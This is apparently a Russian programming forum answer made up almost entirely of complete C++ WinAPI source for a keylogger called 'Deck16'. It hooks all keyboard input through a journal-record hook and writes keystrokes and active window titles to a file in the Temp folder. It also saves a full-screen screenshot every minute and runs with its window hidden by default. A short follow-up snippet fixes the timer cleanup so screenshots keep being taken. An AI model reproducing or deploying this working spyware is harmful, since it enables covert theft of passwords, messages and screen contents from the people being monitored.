Keylogger - C++ WinAPI - Ответ 13552668

////////////////////////////////////////////////////////////////////////////////
// Deck16_Keylogger.cpp
//
// Программа будет работать до перезагрузки или выключения компьютера.
// Для остановки программы вручную, нажмите комбинацию клавиш: CTRL + ALT + F12
// Запись данных производится в текстовой файл в каталоге Temp Windows.
 
#include <windows.h>
TCHAR GWndname[]=TEXT("WCDeck16");
TCHAR GAppname[]=TEXT("Deck16");
TCHAR GFilename[1024];
 
#define err(x)MessageBoxA(HWND_DESKTOP,x,"Err",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND|MB_TOPMOST);
 
char g_szMsg1[]="\r\n--------------------------------------------------------[ %s ]---------------------------\r\n";
char g_szMsg2[]="\r\n--------------------------------------------------------[ StopKeylog ]----------------\r\n";
TCHAR GMsgBox[]=TEXT("Deck16 Keylogger :: Info");
TCHAR GMsgInfo[]=TEXT("\
Программа будет работать до перезагрузки или выключения компьютера.\n\
Для остановки программы вручную, нажмите комбинацию клавиш: CTRL + ALT + F12\n\n\
* Это сообщение закроется автоматически через 10 секунд\n\n\
Запись данных производится в файл:");
 
#define ID_HOTKEY   0x0CDC31337
#define TIMER_ID    2019
#define TIMER_DELAY 1000
UINT_PTR g_nTimer;
 
#define TIMER_ID_SCREENSHOT     2020
#define TIMER_DELAY_SCREENSHOT  60000   // Скриншот через каждую минуту...
UINT_PTR g_nTimerScreenshot;
 
HHOOK GHook;
HANDLE GThread;
HWND GLastfocus;
BOOL GRunning;
BOOL GMode;// True - Окно видимо
BOOL GManualStop;
 
int CreateScreenshot(TCHAR* Filename);
 
static DWORD WINAPI ThreadMessageBox(LPVOID parm) {
    TCHAR* Text=reinterpret_cast<TCHAR*>(parm);
    TCHAR* Msg=Text;
    TCHAR* Title=Text+lstrlen(Msg)+1;
    MessageBox(GetDesktopWindow(),Msg,Title,MB_OK|MB_SETFOREGROUND|MB_SYSTEMMODAL);
    free(parm);
    return 0;
}
void SysMessageBox(TCHAR* Text, TCHAR* Title) {
    int nLen=lstrlen(Title)+lstrlen(Text)+2;
    TCHAR* ptr=(TCHAR*)malloc(nLen * sizeof(TCHAR));
    if(!ptr) {
        err("Error allocating memory");
        return;
    }
    lstrcpy(ptr,Title);
    lstrcpy(ptr+lstrlen(Title)+1,Text);
    LPVOID lpParameter=reinterpret_cast<LPVOID>(ptr);
    DWORD tid;
    CreateThread(NULL,0,ThreadMessageBox,lpParameter,0,&tid);
}
void AppInfo() {
    TCHAR Buffer[264];
    wsprintf(Buffer,TEXT("%s\"%s\""),GMsgInfo,GFilename);
    SysMessageBox(GMsgBox,Buffer);
}
void Cleanup() {
    if(g_nTimer) {
        KillTimer(GetActiveWindow(), g_nTimer);
        g_nTimer=NULL;
    }
    if(g_nTimerScreenshot) {
        KillTimer(GetActiveWindow(), g_nTimerScreenshot);
        g_nTimerScreenshot=NULL;
    }
}
void appWriteLog(char* svStr) {
    if(lstrlen(GFilename)>0) {
        HANDLE hFile=CreateFile(GFilename,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
        if(INVALID_HANDLE_VALUE!=hFile) {
            SetFilePointer(hFile,0,NULL,FILE_END);
            DWORD dwBytesWritten;
            WriteFile(hFile,svStr,lstrlenA(svStr),&dwBytesWritten,NULL);
            CloseHandle(hFile);
        }
    }
}
char* StampDateTime() {
    char Date[128];
    char Time[128];
    char TimeFormat[]="hh':'mm':'ss";
    char DateFormat[]="dddd dd-MM-yyyy";
    GetDateFormatA(LOCALE_SYSTEM_DEFAULT,0,NULL,DateFormat,Date,260);
    GetTimeFormatA(LOCALE_SYSTEM_DEFAULT,TIME_FORCE24HOURFORMAT,NULL,TimeFormat,Time,260);
    static char Result[256];
    wsprintfA(Result,"%.100s %.100s",Date,Time);
    return Result;
}
LRESULT CALLBACK KbdWndProc(int code, WPARAM wParam, LPARAM lParam) {
    char svTemp[256];
    char svBuffer[256];
    if(code<0) return CallNextHookEx(GHook, code, wParam, lParam);
    if(HC_ACTION==code) {
        EVENTMSG* pEvt=(EVENTMSG*)lParam;
            if(WM_KEYDOWN==pEvt->message) {
                int nKey=LOBYTE(pEvt->paramL);
                int nScan=HIBYTE(pEvt->paramL);
                nScan<<=16;
                HWND hFocus=GetActiveWindow();
                if(GLastfocus!=hFocus) {
                    int nCount=GetWindowTextA(hFocus, svTemp, 256);
                    if(nCount>0) {
                        wsprintfA(svBuffer, "\r\n-----[ %s ]-----\r\n", svTemp);
                        appWriteLog(svBuffer);
                    } GLastfocus=hFocus;
                }
                DWORD dwCount=GetKeyNameTextA(nScan, svBuffer, 256);
                if(dwCount) {
                    if(VK_SPACE==nKey) {
                        svBuffer[0]=' ';
                        svBuffer[1]='\0';
                        dwCount=1;
                    }
                    if(1==dwCount) {
                        WORD ch;
                        BYTE kbuf[256];
                        GetKeyboardState(kbuf);
                        int nCheck=ToAscii(nKey, nScan, kbuf, &ch, 0);
                        if(nCheck>0) {
                            wsprintfA(svBuffer, "%c", ch);
                            appWriteLog(svBuffer);
                        }
                    } else {
                        wsprintfA(svTemp, "[%s]", svBuffer);
                        appWriteLog(svTemp);
 
                        if(VK_RETURN==nKey)
                            appWriteLog("\r\n");
                    }
                }
            }
        } return CallNextHookEx(GHook, code, wParam, lParam);
}
DWORD WINAPI ThreadEntry(LPVOID param) {
    BYTE keytbl[256];
    for(int i=0; i<256; ++i) keytbl[i]=0;
    GHook=SetWindowsHookEx(WH_JOURNALRECORD,KbdWndProc,GetModuleHandle(NULL),0);
    if(!GHook) {
        err("Cannot SetWindowsHookEx");
        return -1;
    }
    char svBuffer[256];
    wsprintfA(svBuffer, g_szMsg1, StampDateTime());
    appWriteLog(svBuffer);
    MSG msg;
    GRunning=TRUE;
    while(GRunning) {
        Sleep(20);
        while(PeekMessage(&msg,NULL,0,0,PM_NOREMOVE)) {
            GetMessage(&msg,NULL,0,0);
            if(WM_CANCELJOURNAL==msg.message) {
                SetKeyboardState(keytbl);
                GHook=SetWindowsHookEx(WH_JOURNALRECORD,KbdWndProc,GetModuleHandle(NULL),0);
                if(!GHook)
                    return -1;
            } else DispatchMessage(&msg);
        }
    } UnhookWindowsHookEx(GHook);
    return 0;
}
int Stop() {
    appWriteLog(g_szMsg2);
    GRunning=FALSE;
    Cleanup();
    if(WAIT_OBJECT_0!=WaitForSingleObject(GThread,5000))
        return -1;
    if(TRUE==GManualStop) {
        TCHAR Buffer[1024];
        wsprintf(Buffer, TEXT("Программа остановлеа. Открыть лог-файл: \"%s\" ?"), GFilename);
        if(IDYES==MessageBox(HWND_DESKTOP, Buffer, GAppname, MB_YESNO|MB_ICONQUESTION|MB_SETFOREGROUND|MB_TOPMOST)) {
            ShellExecute(0,TEXT("open"),GFilename,NULL,NULL,SW_SHOWNORMAL);
        }
    } return 0;
}
LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
    LRESULT retval=0;
    switch(uMsg) {
        case WM_CREATE: {
            UINT fsModifiers=MOD_CONTROL|MOD_ALT;
            UINT vkey=VK_F12;
            if(!RegisterHotKey(hWnd,ID_HOTKEY,fsModifiers,vkey)) {
                err("Cannot RegisterHotKey");
                return -1;
            } else {
                g_nTimer=SetTimer(hWnd, TIMER_ID, TIMER_DELAY, NULL);
                if(!g_nTimer) {
                    err("Cannot SetTimer");
                }
                g_nTimerScreenshot=SetTimer(hWnd, TIMER_ID_SCREENSHOT, TIMER_DELAY_SCREENSHOT, NULL);
                if(!g_nTimerScreenshot) {
                    err("Cannot SetTimer #2");
                }
                AppInfo();
                Cleanup();
            }
            DWORD tid=0;
            LPVOID lpParameter=reinterpret_cast<LPVOID>(GFilename);
            GThread=CreateThread(NULL, 0, ThreadEntry, lpParameter, 0, &tid);
            if(!GThread) {
                err("Cannot CreateThread");
                return -1;
            }
        } break;
        case WM_TIMER:
        {
            static int nCount;
            if(TIMER_ID==wParam) {
                ++nCount;
                if(10==nCount) {
                    Cleanup();
                    HWND hwnd=FindWindow(NULL, GMsgBox);
                    if(hwnd) PostMessage(GetTopWindow(hwnd), BM_CLICK, 0, 0);
                }
            }
            if(TIMER_ID_SCREENSHOT==wParam) {// Скриншот через каждую минуту...
                TCHAR Temppath[512];
                GetTempPath(512, Temppath);
                if(lstrlen(Temppath)) {
                    TCHAR Filename[1024];
                    static int nCount;
                    wsprintf(Filename, TEXT("%s\\%s_000%d.bmp"), Temppath, GAppname, nCount);
                    CreateScreenshot(Filename);
                    ++nCount;
                }
            }
        } break;
        case WM_HOTKEY: {
            if(IDYES==MessageBox(hWnd, TEXT("Закрыть программу?"), GAppname, MB_YESNO|MB_ICONQUESTION)) {
                GManualStop=1;
                SendMessage(hWnd, WM_CLOSE, 0, 0);
            }
        } break;
 
        case WM_QUERYENDSESSION:
            SendMessage(hWnd, WM_CLOSE, 0, 0);
            return 1;
        case WM_CLOSE:
            DestroyWindow(hWnd);
            break;
        case WM_DESTROY:
            Stop();
            PostQuitMessage(0);
            break;
        default:
            retval=DefWindowProc(hWnd, uMsg, wParam, lParam);
    }
    return retval;
}
 
//
// Entry point
//
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    HWND hWnd=FindWindow(GWndname, NULL);
    if(hWnd) {
        PostMessage(hWnd, WM_HOTKEY, 0, 0);
        return EXIT_FAILURE;
    }
 
    TCHAR Buffer[512];
    GetTempPath(512, Buffer);
    if(!lstrlen(Buffer))
        lstrcpy(Buffer,TEXT("c:\\windows\\"));
    wsprintf(GFilename,TEXT("%s%s.txt"),Buffer,GAppname);
 
    WNDCLASSEX wcex={sizeof(WNDCLASSEX), CS_VREDRAW|CS_HREDRAW, WndProc, 0, 0, hInstance,
        LoadIcon(NULL, IDI_APPLICATION), LoadCursor(NULL, IDC_ARROW), GetSysColorBrush(COLOR_BTNFACE), NULL, GWndname, NULL,};
 
    ATOM Atom=RegisterClassEx(&wcex);
    if(!Atom) {
        err("Cannot RegisterClass");
        return EXIT_FAILURE;
    }
    hWnd=CreateWindowEx(WS_EX_CLIENTEDGE, MAKEINTATOM(Atom), GAppname,
        WS_OVERLAPPEDWINDOW, ((GetSystemMetrics(SM_CXSCREEN)-300)/2),
        ((GetSystemMetrics(SM_CYSCREEN)-200)/2), 300, 200, HWND_DESKTOP, NULL, hInstance, NULL);
    if(!hWnd) {
        err("Cannot CreateWindow");
        return EXIT_FAILURE;
    }
 
    if(GMode) {
        ShowWindow(hWnd, nCmdShow);
        UpdateWindow(hWnd);
    } else
        ShowWindow(hWnd, SW_HIDE);
 
    MSG msg;
    while(GetMessage(&msg, NULL, 0, 0)>0) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return (int)msg.wParam;
}
 
//
// CreateScreenshot
//
int CreateScreenshot(TCHAR* Filename)
{
    HDC hdc=CreateDC(TEXT("DISPLAY"), NULL, NULL, NULL);
    if(!hdc) return 1;
 
    DWORD dwNumColors;
    DWORD dwWidth = GetDeviceCaps(hdc, HORZRES);
    DWORD dwHeight = GetDeviceCaps(hdc, VERTRES);
    DWORD dwBPP = GetDeviceCaps(hdc, BITSPIXEL);
    if(dwBPP<=8) {
        dwNumColors = GetDeviceCaps(hdc, NUMCOLORS);
        dwNumColors = 256;
    } else
        dwNumColors = 0;
 
    HDC hdc2=CreateCompatibleDC(hdc);
    if(hdc2==NULL) {
        DeleteDC(hdc);
        return 1;
    }
 
    BITMAPINFO bmpinfo;
    bmpinfo.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
    bmpinfo.bmiHeader.biWidth = dwWidth;
    bmpinfo.bmiHeader.biHeight = dwHeight;
    bmpinfo.bmiHeader.biPlanes = 1;
    bmpinfo.bmiHeader.biBitCount = (WORD) dwBPP;
    bmpinfo.bmiHeader.biCompression = BI_RGB;
    bmpinfo.bmiHeader.biSizeImage = 0;
    bmpinfo.bmiHeader.biXPelsPerMeter = 0;
    bmpinfo.bmiHeader.biYPelsPerMeter = 0;
    bmpinfo.bmiHeader.biClrUsed = dwNumColors;
    bmpinfo.bmiHeader.biClrImportant = dwNumColors;
    
    LPVOID pBits;
    HBITMAP bitmap=CreateDIBSection(hdc, &bmpinfo, DIB_PAL_COLORS, &pBits, NULL, 0);
    if(bitmap==NULL) {
        DeleteDC(hdc);
        DeleteDC(hdc2);
        return 1;
    }
    HGDIOBJ gdiobj = SelectObject(hdc2, (HGDIOBJ)bitmap);
    if((NULL==gdiobj) || (gdiobj==(void*)GDI_ERROR)) {
        DeleteDC(hdc);
        DeleteDC(hdc2);
        return 1;
    }
    if(!BitBlt(hdc2, 0,0, dwWidth, dwHeight, hdc, 0,0, SRCCOPY)) {
        DeleteDC(hdc);
        DeleteDC(hdc2);
        return 1;
    }   
    RGBQUAD colors[256];
    if(0!=dwNumColors)
        dwNumColors = GetDIBColorTable(hdc2, 0, dwNumColors, colors);
    
    BITMAPFILEHEADER bitmapfileheader;
    BITMAPINFOHEADER bitmapinfoheader;
    bitmapfileheader.bfType = 0x4D42;
    bitmapfileheader.bfSize = ((dwWidth * dwHeight * dwBPP)/8) + sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + (dwNumColors * sizeof(RGBQUAD));
    bitmapfileheader.bfReserved1 = 0;
    bitmapfileheader.bfReserved2 = 0;
    bitmapfileheader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + (dwNumColors * sizeof(RGBQUAD));  
    bitmapinfoheader.biSize = sizeof(BITMAPINFOHEADER);
    bitmapinfoheader.biWidth = dwWidth;
    bitmapinfoheader.biHeight = dwHeight;
    bitmapinfoheader.biPlanes = 1;
    bitmapinfoheader.biBitCount = (WORD)dwBPP;
    bitmapinfoheader.biCompression = BI_RGB;
    bitmapinfoheader.biSizeImage = 0;
    bitmapinfoheader.biXPelsPerMeter = 0;
    bitmapinfoheader.biYPelsPerMeter = 0;
    bitmapinfoheader.biClrUsed = dwNumColors;
    bitmapinfoheader.biClrImportant = 0;
    
    HANDLE hfile=CreateFile(Filename,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
    if(hfile==INVALID_HANDLE_VALUE) {
        DeleteObject(bitmap);
        DeleteDC(hdc2);
        DeleteDC(hdc);
        return 1;
    }
    DWORD dwBytes;
    WriteFile(hfile,&bitmapfileheader,sizeof(BITMAPFILEHEADER), &dwBytes, NULL);
    WriteFile(hfile,&bitmapinfoheader,sizeof(BITMAPINFOHEADER), &dwBytes, NULL);
    if(0!=dwNumColors)
        WriteFile(hfile,colors,sizeof(RGBQUAD)*dwNumColors,&dwBytes,NULL);
    WriteFile(hfile,pBits,(dwWidth*dwHeight*dwBPP)/8,&dwBytes,NULL);
    CloseHandle(hfile);
    DeleteObject(bitmap);
    DeleteDC(hdc2);
    DeleteDC(hdc);
    return 0;
}
 
////////////////////////////////////////////////////////////////////////////////
// <<eof>> Deck16_Keylogger.cpp
////////////////////////////////////////////////////////////////////////////////

void Cleanup() {
    if(g_nTimer) {
        KillTimer(GetActiveWindow(), g_nTimer);
        g_nTimer=NULL;
    }
 
    /* За комментировать. Этот таймер нужно на выходе уничтожать, а здесь получается после отработки первого...
      if(g_nTimerScreenshot) {
        KillTimer(GetActiveWindow(), g_nTimerScreenshot);
        g_nTimerScreenshot=NULL;
    }*/
 
}